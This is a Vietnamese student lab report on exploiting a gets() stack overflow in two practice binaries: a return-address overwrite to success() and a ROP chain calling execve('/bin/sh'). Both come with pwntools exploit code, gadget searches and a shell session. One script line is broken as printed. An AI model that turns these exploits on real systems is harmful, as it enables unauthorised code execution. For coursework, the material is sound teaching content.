

BÁO CÁO THỰC HÀNH

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Kỳ báo cáo: Lab 5

Tên chủ đề: Integer overflow và ROP

GVHD: Đỗ Thị Thu Hiền

Nhóm: 10

1. THÔNG TIN CHUNG:

Lớp: NT521.011.ANTN

STT	Họ và tên	MSSV	Email
1	Lưu Gia Huy	21520916	21520916@gm.uit.edu.vn
2	Nguyễn Vũ Anh Duy	21520211	21520211@gm.uit.edu.vn
3	Nguyễn Văn Khang Kim	21520314	21520314@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Công việc	Kết quả tự đánh giá
1	Yêu cầu 05	100%
2	Yêu cầu 06	100%
3	Yêu cầu 07	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

Yêu cầu 5. Sinh viên khai thác lỗ hổng stack overflow của file thực thi vulnerable, điều hướng chương trình thực thi hàm success. Báo cáo chi tiết các bước thực hiện.

Đầu tiên ta tiến hành check kiến trúc file, và kiểm tra các chế độ bảo mật đã được bật:

```
→ lab5 ⚡
▶ file vulnerable
vulnerable: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
, for GNU/Linux 2.6.32, BuildID[sha1]=a955bb1bd71a6eecf7a3048007ec176
→ lab5 ⚡
▶ checksec vulnerable
[*] '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/vulnerable'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
→ lab5 ⚡
▶
```

Đọc source code ta thấy có lỗi BOF với gets, và mục tiêu là ghi đè return address về hàm success

B.2.1. Stack overflow – Ví dụ ôn tập

Cho file thực thi **vulnerable**, với mã nguồn như bên dưới.

```
1  #include <stdio.h>
2  #include <string.h>
3  void success() {
4      puts("You Have already controlled it.");
5      exit(0);
6  }
7  void vulnerable() {
8      char s[12];
9      gets(s);
10     puts(s);
11     return;
12 }
13 int main(int argc, char **argv) {
14     vulnerable();
15     return 0;
16 }
```

Debug với pwndbg, đặt breakpoint tại gets() và ret để tính toán số lượng kí tự cần thiết ghi vào để ghi đè tới return address

```

pwndbg> disass vulnerable
Dump of assembler code for function vulnerable:
   0x0804848b <+0>:    push    ebp
   0x0804848c <+1>:    mov     ebp,esp
   0x0804848e <+3>:    sub     esp,0x18
   0x08048491 <+6>:    sub     esp,0xc
   0x08048494 <+9>:    lea     eax,[ebp-0x14]
   0x08048497 <+12>:   push    eax
   0x08048498 <+13>:   call    0x8048320 <gets@plt>
   0x0804849d <+18>:   add     esp,0x10
   0x080484a0 <+21>:   sub     esp,0xc
   0x080484a3 <+24>:   lea     eax,[ebp-0x14]
   0x080484a6 <+27>:   push    eax
   0x080484a7 <+28>:   call    0x8048330 <puts@plt>
   0x080484ac <+33>:   add     esp,0x10
   0x080484af <+36>:   nop
   0x080484b0 <+37>:   leave
   0x080484b1 <+38>:   ret
End of assembler dump.
pwndbg> b* vulnerable+13
Breakpoint 1 at 0x8048498
pwndbg> b* vulnerable+38
Breakpoint 2 at 0x80484b1
pwndbg>

```

Ta có được địa chỉ lưu chuỗi nhập vào như bên dưới:

```

[ DISASM / i386 / set emulate on ]
► 0x8048498 <vulnerable+13> call    gets@plt
   arg[0]: 0xffffcc64 -> 0xf7fd6f90 (_dl_fixup+240) -> mov edi, eax
   arg[1]: 0x0
   arg[2]: 0xf7d944be -> '_dl_audit_preinit'
   arg[3]: 0xf7fa6054 (_dl_audit_preinit@got.plt) -> 0xf7dde10 (_dl_audit_preinit) -> endbr32

0x804849d <vulnerable+18> add     esp, 0x10
0x80484a0 <vulnerable+21> sub     esp, 0xc
0x80484a3 <vulnerable+24> lea     eax, [ebp - 0x14]
0x80484a6 <vulnerable+27> push    eax
0x80484a7 <vulnerable+28> call    puts@plt

0x80484ac <vulnerable+33> add     esp, 0x10
0x80484af <vulnerable+36> nop
0x80484b0 <vulnerable+37> leave
0x80484b1 <vulnerable+38> ret

0x80484b2 <main>        lea     ecx, [esp + 4]

```



```
pwndbg> x/s 0xffffcc64
0xffffcc64: "1337"
```

Return address:

```

0x80484ac <vulnerable+33> add    esp, 0x10
0x80484af <vulnerable+36> nop
0x80484b0 <vulnerable+37> leave
0x80484b1 <vulnerable+38> ret    <0x80484c8; main+22>
↓
0x80484c8 <main+22>      mov    eax, 0
0x80484cd <main+27>      add    esp, 4
0x80484d0 <main+30>      pop    ecx
0x80484d1 <main+31>      pop    ebp
0x80484d2 <main+32>      lea    esp, [ecx - 4]
[ STACK ]
00:0000 | esp 0xffffcc7c -> 0x80484c8 (main+22) ← mov eax, 0
01:0004 | 0xffffcc80 ← 0x1
```

Ta tính được cần ghi 24bytes vào để ghi đè được tới return address:

```

→ Asus ⚡
▶ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> str = 0xffffcc64
>>> ret = 0xffffcc7c
>>> ret - str
24
>>>
```

Ta cần đi tìm địa chỉ hàm success:

```

0x08048440 frame_dummy
0x0804846b success
0x0804848b vulnerable
0x080484b2 main
0x080484e0 __libc_csu_init
0x08048540 __libc_csu_fini
0x08048544 _fini
```

Exploit code:

```
exploit_yc5.py
1  from pwn import *
2
3  binary = binary.context = ELF("./vulnerable")
4  r = process(binary.path)
5
6  payload = b"a"*24 + p64(0x0804846b)
7
8  r.sendline(payload)
9
10 r.interactive()
```

We done!

```
→ Asus ⚡
▶ cd /mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/
→ lab5 ⚡
▶ python3 exploit_yc5.py
[*] '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/vulnerable'
  Arch: i386-32-little
  RELRO: Partial RELRO
  Stack: No canary found
  NX: NX enabled
  PIE: No PIE (0x8048000)
[+] Starting local process '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/vulnerable': pid 6638
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaak\x84\x0
You Have already controlled it.
[*] Got EOF while reading in interactive
$
```

Yêu cầu 6. Sinh viên tự tìm hiểu và giải thích ngắn gọn về: procedure linkage table và Global Offset Table trong ELF Linux.

```

0x000000000040126b <+149>: call 0x4010c0 <printf@plt>
0x000000000040126b <+149>: lea rdi,[rip+0xdb6] # 0x402028
0x0000000000401272 <+156>: call 0x401090 <puts@plt>
0x0000000000401277 <+161>: lea rdi,[rip+0xdca] # 0x402048
0x000000000040127e <+168>: call 0x401090 <puts@plt>
0x0000000000401283 <+173>: mov eax,0x0
0x0000000000401288 <+178>: mov rcx,QWORD PTR [rbp-0x8]
0x000000000040128c <+182>: xor rcx,QWORD PTR fs:0x28
0x0000000000401295 <+191>: je 0x40129c <main+198>
0x0000000000401297 <+193>: call 0x4010a0 <__stack_chk_fail@plt>
0x000000000040129c <+198>: leave
0x000000000040129d <+199>: ret
End of assembler dump.
gdb-peda$ x/5i 0x401090
0x401090 <puts@plt>: endbr64
0x401094 <puts@plt+4>: bnd jmp QWORD PTR [rip+0x2f7d] # 0x404018 <puts@got.plt>
0x40109b <puts@plt+11>: nop DWORD PTR [rax+trax*1+0x0]
0x4010a0 <__stack_chk_fail@plt>: endbr64
0x4010a4 <__stack_chk_fail@plt+4>: bnd jmp QWORD PTR [rip+0x2f75] # 0x404020 <__stack_chk_fail@got.plt>
gdb-peda$ x/z 0x404018
0x404018 <puts@got.plt>: 0x00401030

```

Ở đây ta nhận thấy là trong assembly code thì khi gọi hàm ta sẽ gọi call <puts@plt> puts@plt này sẽ trở đến địa chỉ puts@got và puts@got này sẽ trở đến địa chỉ của hàm puts trong libc.

Nếu như hàm puts chưa từng được gọi trước đó thì puts@got của nó sẽ trở đến địa chỉ của 1 lệnh, lệnh này sẽ thực hiện tìm kiếm địa chỉ của puts trong libc.

Còn nếu như puts đã được gọi trước đó thì puts@got này sẽ lưu địa chỉ của hàm puts trong libc. Như hình:

```

Breakpoint 1, 0x0000000000401266 in main ()
gdb-peda$ x/z 0x404018
0x404018 <puts@got.plt>: 0x00007ffff7e0ded0

```

Yêu cầu 7. Sinh viên khai thác lỗ hổng stack overflow trong file rop để mở shell tương tác.

```

→ lab5 ⚡
▶ file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked,
1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
→ lab5 ⚡
▶ checksec rop
[*] '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
→ lab5 ⚡
▶

```

Source code ta thấy có lỗi BOF, tuy nhiên thì không có các hàm sẵn lấy shell hay flag, cũng k dùng được shell code, do đó ta có thể nghĩ đến kĩ thuật ROP :



```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v4; // [esp+1Ch] [ebp-64h] BYREF
4
5     (setvbuf)(stdout, 0, 2, 0);
6     (setvbuf)(stdin, 0, 1, 0);
7     (puts)("This time, no system() and NO SHELLCODE!!!");
8     (puts)("What do you plan to do?");
9     (gets)(&v4);
10    return 0;
11 }

```

Mà đây là kiến trúc 32-bit, do đó để dùng ROP với syscall ta cần phải setup các giá trị của thanh ghi như bên dưới, ở đây mục tiêu là dùng syscall `execve()`, do đó ta cần setup các thanh ghi có giá trị cụ thể như sau: `eax=0xb`, `ebx=<địa chỉ chuỗi /bin/sh>`, `ecx=edx=0`

x86 (32-bit)

Compiled from Linux 4.14.0 headers.

NR	syscall name	references	<u>%eax</u>	<u>arg0 (%ebx)</u>	<u>arg1 (%ecx)</u>	<u>arg2 (%edx)</u>
0	restart_syscall	man/ cs/	0x00	-	-	-
1	exit	man/ cs/	0x01	int error_code	-	-
2	fork	man/ cs/	0x02	-	-	-
3	read	man/ cs/	0x03	unsigned int fd	char *buf	size_t count
4	write	man/ cs/	0x04	unsigned int fd	const char *buf	size_t count
5	open	man/ cs/	0x05	const char *filename	int flags	umode_t mode
6	close	man/ cs/	0x06	unsigned int fd	-	-
7	waitpid	man/ cs/	0x07	pid_t pid	int *stat_addr	int options
8	creat	man/ cs/	0x08	const char *pathname	umode_t mode	-
9	link	man/ cs/	0x09	const char *oldname	const char *newname	-
10	unlink	man/ cs/	0x0a	const char *pathname	-	-
<u>11</u>	<u>execve</u>	man/ cs/	<u>0x0b</u>	<u>const char *filename</u>	<u>const char *const *argv</u>	<u>const char *const *envp</u>

Địa chỉ của chuỗi `/bin/sh` có trong file binary:


```

→ lab5 ⚡
► rabin2 -z rop | grep "bin/sh"
0      0x00076408 0x080be408 7      8      .rodata ascii  /bin/sh
→ lab5 ⚡
►

```

Tiến hành tính toán số bytes cần ghi vào để ghi đè đến return address:

```

► 0x8048e96 <main+114>    call    gets
    arg[0]: 0xffffcc8c ← 0x3
    arg[1]: 0x0
    arg[2]: 0x1
    arg[3]: 0x0

```

```

0x8048e96 <main+114>    call    gets                <gets>
0x8048e9b <main+119>    mov     eax, 0
0x8048ea0 <main+124>    leave  0
► 0x8048ea1 <main+125>    ret                     <0x804907a; __libc_start_main+458>
↓
0x804907a <__libc_start_main+458>  mov     dword ptr [esp], eax
0x804907d <__libc_start_main+461>  call    exit              <exit>
0x8049082 <__libc_start_main+466>  call    _dl_discover_osversion  <_dl_discover_osversion>
0x8049087 <__libc_start_main+471>  test    eax, eax
0x8049089 <__libc_start_main+473>  js      __libc_start_main+780  <__libc_start_main+780>
0x804908f <__libc_start_main+479>  mov     edx, dword ptr [_dl_osversion] <0x80ec1e8>
0x8049095 <__libc_start_main+485>  test    edx, edx
[ STACK ]
00:0000| esp 0xffffccfc → 0x804907a (<__libc_start_main+458>) ← mov dword ptr [esp], eax
01:0004|      0xffffcd00 ← 0x1
02:0008|      0xffffcd04 → 0xffffcd84 → 0xffffcf11 ← '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/rop'
03:000c|      0xffffcd08 → 0xffffcd8c → 0xffffcf3c ← 'SHELL=/bin/bash'

```

Như vậy ta cần ghi 112 bytes:

```

→ lab5 ⚡
► python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> str = 0xffffcc8c
>>> ret = 0xffffccfc
>>> ret - str
112
>>>

```

Ta cần tiến hành đi tìm các gadget cần thiết:

Ta dùng lệnh: ROPgadget --binary rop | grep "pop eax ; ret" để tìm gadget pop eax ; ret

```

→ lab5
ROPgadget --binary rop | grep "pop eax ; ret"
0x080e6758 : adc al, 0 ; add byte ptr [eax], al ; pop eax ; ret
0x080e6756 : add al, 0 ; adc al, 0 ; add byte ptr [eax], al ; pop eax ; ret
0x080e2029 : add al, 0x46 ; or eax, dword ptr [edx] ; pop eax ; ret
0x080bb193 : add al, 0x8b ; inc eax ; pop eax ; ret
0x080e6757 : add byte ptr [eax + eax], dl ; add byte ptr [eax], al ; pop eax ; ret
0x080e675a : add byte ptr [eax], al ; pop eax ; ret
0x080b02ca : add byte ptr [ebx - 0x72d7dbbc], cl ; pop eax ; retf
0x080bb18f : add byte ptr [ebx - 0x74fbdabc], cl ; inc eax ; pop eax ; ret
0x080bb18e : add byte ptr [ebx - 0x74fbdabc], cl ; inc eax ; pop eax ; ret
0x0804f702 : and al, 0xe8 ; pop eax ; ret 3
0x08072631 : dec dword ptr [ebx + 0x503b845] ; pop eax ; ret 0x80e
0x080d765e : dec esp ; pop eax ; retf
0x080d765d : in al, 0x4c ; pop eax ; retf
0x080bb195 : inc eax ; pop eax ; ret
0x080e202a : inc esi ; or eax, dword ptr [edx] ; pop eax ; ret
0x080b02c8 : or al, 0 ; add byte ptr [ebx - 0x72d7dbbc], cl ; pop eax ; retf
0x080e2025 : or byte ptr [ecx - 0x39], al ; push cs ; add al, 0x46 ; or eax, dword ptr [edx] ; pop eax ; ret
0x080e202b : or eax, dword ptr [edx] ; pop eax ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3

```

Tìm tương tự như vậy ta có 1 gadget khá tiện lợi là

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

Thêm nữa ta cần tìm gadget int 0x80 để gọi syscall với các thanh ghi đã được setup

```

→ lab5
ROPgadget --binary rop | grep "int 0x80"
0x08093e93 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x0804941f : add byte ptr [eax], al ; int 0x80
0x080924e0 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80
0x080924e1 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80
0x0806c761 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x0806ec48 : cld ; mov ecx, 0x80 ; int 0x80
0x080924e3 : cld ; mov ecx, 0x81 ; int 0x80
0x08093e95 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x08049421 : int 0x80
0x0807b72a : ja 0x807b72c ; add byte ptr [eax], al ; int 0x80
0x080b9be1 : jp 0x80b9be8 ; int 0x80
0x080b9e07 : jp 0x80b9e0f ; int 0x80

```

Exploit code:

```
exploit_yc7.py > ...
1  from pwn import *
2
3  binary = binary.context = ELF("./rop")
4  r = process(binary.path)
5
6  binsh = 0x080be408
7  pop_eax = 0x080bb196
8  pop_edx_ecx_ebx = 0x0806eb90
9  syscall = 0x08049421
10
11 payload = b"a"*112
12 payload += p32(pop_eax) + p32(0x0b)
13 payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh)
14 payload += p32(syscall)
15
16 r.sendline(payload)
17 r.interactive()
```

Giải thích code:

Ở trên ta dùng gadget pop eax để set eax = 0x0b

Edx=ecx=0 và ebx = địa chỉ chuỗi bin/sh

Cuối cùng gọi syscall tương ứng, do ta đã setup các thanh ghi như thế nên syscall tương ứng được gọi là execve:

x86 (32-bit)

Compiled from Linux 4.14.0 headers.

NR	syscall name	references	%eax	arg0 (%ebx)	arg1 (%ecx)	arg2 (%edx)
0	restart_syscall	man/ cs/	0x00	-	-	-
1	exit	man/ cs/	0x01	int error_code	-	-
2	fork	man/ cs/	0x02	-	-	-
3	read	man/ cs/	0x03	unsigned int fd	char *buf	size_t count
4	write	man/ cs/	0x04	unsigned int fd	const char *buf	size_t count
5	open	man/ cs/	0x05	const char *filename	int flags	umode_t mode
6	close	man/ cs/	0x06	unsigned int fd	-	-
7	waitpid	man/ cs/	0x07	pid_t pid	int *stat_addr	int options
8	creat	man/ cs/	0x08	const char *pathname	umode_t mode	-
9	link	man/ cs/	0x09	const char *oldname	const char *newname	-
10	unlink	man/ cs/	0x0a	const char *pathname	-	-
11	execve	man/ cs/	0x0b	const char *filename	const char *const *argv	const char *const *envp

We done!

```

→ lab5 ⚡
▶ python3 exploit_yc7.py
[*] '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/rop'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
[+] Starting local process '/mnt/d/Nam3_Ki1/lap-trinh-an-toan/lab5/rop': pid 12539
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ id
uid=1000(hjn4) gid=1000(hjn4) groups=1000(hjn4),4(adm),20(dialout),24(cdrom),25(floppy),46(plugdev),116(netdev),999(docker)
$

```

HẾT